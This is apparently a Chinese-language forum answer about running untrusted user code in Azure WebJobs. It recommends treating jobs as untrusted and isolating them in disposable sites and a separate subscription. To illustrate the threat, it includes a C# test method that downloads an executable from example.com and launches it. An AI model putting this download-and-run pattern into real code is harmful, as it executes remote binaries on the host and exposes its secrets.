我不确定您正在寻找的这个问题的范围是什么。但我认为一般来说没有一种简单的方法可以做到这一点,具体到 WebJobs。它必须是您在系统设计中注意的事项。
我们不允许用户直接运行可执行文件
这不是真的。如果您正在运行用户代码,则不能再假设这一点。没有什么能阻止我编写这样的单元测试,对吧?
[Test]
public static RunRandomExe()
{
var webClient = new WebClient();
webClient.DownloadFile("http://example.com/random.exe", @"%temp%\random.exe");
Process.Start(@"%temp%\random.exe");
}
如果您在应用程序设置或环境变量中有秘密,则没有什么可以阻止单元测试读取它们并将它们发送到随机 URL。
您能做的最好的事情就是以这样一种方式设计您的系统,即假定 WebJob 是完全不受信任的。您必须假设您在 AppSettings、环境变量、文件系统等中放置的任何秘密都可以被 WebJob 访问。 WebJob 留下的任何工件都可以在后续运行中访问,并且 WebJob 对机器所做的更改将影响后续的 WebJobs 等等。哎呀,单元测试可以在机器上创建另一个可以运行并完全监控的 WebJob/接管您的网站。
不过,好消息是 Azure Web 应用保证独立的 Web 应用彼此完全隔离,并在非常严密的沙盒环境中运行,即使它们在同一个物理 VM 上运行(即:在同一个应用服务计划中)
如果你:
- 创建网站
- 运行网络作业
- 删除网站
您将确保不会留下任何影响您的系统的东西。
这当然不能解决让 WebJob 访问机密的问题。唯一的解决方案是不让 WebJob 访问机密。将整个事情视为不可信。因此,您可以拥有一个为您运行作业的站点池,您触发作业运行,仅信任作业的原始日志输出,然后从池中删除站点并创建网站的替代品。在主订阅的站点中运行不受信任的代码的一个主要问题是,您将授予不受信任的代码访问从 Azure 门户上传到订阅的任何证书。因此,您必须在完全独立订阅的网站中运行这些不受信任的内容。
我知道这很麻烦,但我想不出任何其他方法可以保证您的系统和用户的安全。如果您要运行不受信任的代码,您将进入一个复杂的世界。
希望对你有帮助。